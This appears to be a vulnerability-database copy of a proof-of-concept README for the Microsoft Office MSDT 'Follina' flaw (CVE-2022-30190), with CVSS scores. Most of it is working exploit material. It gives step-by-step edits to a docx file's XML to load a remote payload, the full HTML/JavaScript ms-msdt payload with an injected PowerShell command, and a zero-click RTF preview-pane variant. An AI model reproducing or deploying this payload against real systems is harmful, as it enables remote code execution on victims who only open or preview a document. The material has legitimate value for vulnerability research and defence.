Microsoft Office MSDT Follina Proof Of Concept

2022-05-3100:00:00

JMousqueton, github.com

packetstormsecurity.com

672

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

JSON

`# POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina   
  
> Info : [New Microsoft Office zero-day used in attacks to execute PowerShell](https://www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell/)  
  
## Summary   
  
On the 29th of May 2022, the Nao_Sec team, an independent Cyber Security Research  
Team, discovered a malicious Office document shared on Virustotal. This document is  
using an unusual, but known scheme to infect its victims. The scheme was not detected as  
malicious by some EDR, like Microsoft Defender for Endpoint. This vulnerability could lead to  
code execution without the need of user interaction, as it does not involve macros, except if the  
Protected View mode is enabled. There is no CVE number attributed yet.  
  
  
## Technical Details  
  
The vulnerability is being exploited by using the MSProtocol URI scheme to load some code.  
Attackers could embed malicious links inside Microsoft Office documents, templates or emails  
beginning with ms-msdt: that will be loaded and executed afterward without user interaction  
- except if the Protected View mode is enabled. Nevertheless, converting the document to  
the RTF format could also bypass the Protected View feature.  
  
## Proof of Concept   
  
MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).  
  
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).  
  
Here are the steps to build a Proof-of-Concept docx:  
  
1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.  
  
2. Edit `word/_rels/document.xml.rels` in the docx structure (it is a plain zip). Modify the XML tag `<Relationship>` with attribute  
  
```  
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"  
```  
  
and `Target="embeddings/oleObject1.bin"` by changing the `Target` value and adding attribute `TargetMode`:  
  
```  
Target = "http://<payload_server>/payload.html!"  
TargetMode = "External"  
```  
  
Note the Id value (probably it is "rId5").  
  
3. Edit `word/document.xml`. Search for the "<o:OLEObject ..>" tag (with `r:id="rId5"`) and change the attribute from `Type="Embed"` to `Type="Link"` and add the attribute `UpdateMode="OnCall"`.  
  
NOTE: The created malicious docx is almost the same as for [CVE-2021-44444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444).  
  
4. Serve the PoC (calc.exe launcher) html payload with the ms-msdt scheme at `http://<payload_server>/payload.html`:  
  
```  
<!doctype html>  
<html lang="en">  
<body>  
<script>  
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times  
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";  
</script>  
  
</body>  
</html>  
```  
  
Note that the comment line with AAA should be repeated >60 times (for filling up enough space to trigger the payload for some reason).  
  
## BONUS (0-click RTF version)  
  
If you also add these elements under the `<o:OLEObject>` element in `word/document.xml` at step 3:  
  
```  
<o:LinkType>EnhancedMetaFile</o:LinkType>  
<o:LockedField>false</o:LockedField>  
<o:FieldCodes>\f 0</o:FieldCodes>  
```  
  
then it'll work as RTF also (open the resulting docx and save it as RTF).  
  
With RTF, there is no need to open the file in Word, it is enough to browse to the file and have a look at it in a preview pane. The preview pane triggers the external HTML payload and RCE is there without any clicks.  
  
## Sources :  
  
- https://nao-sec.org/about  
- https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection  
- https://gist.github.com/tothi/66290a42896a97920055e50128c9f040  
- https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/  
  
  
`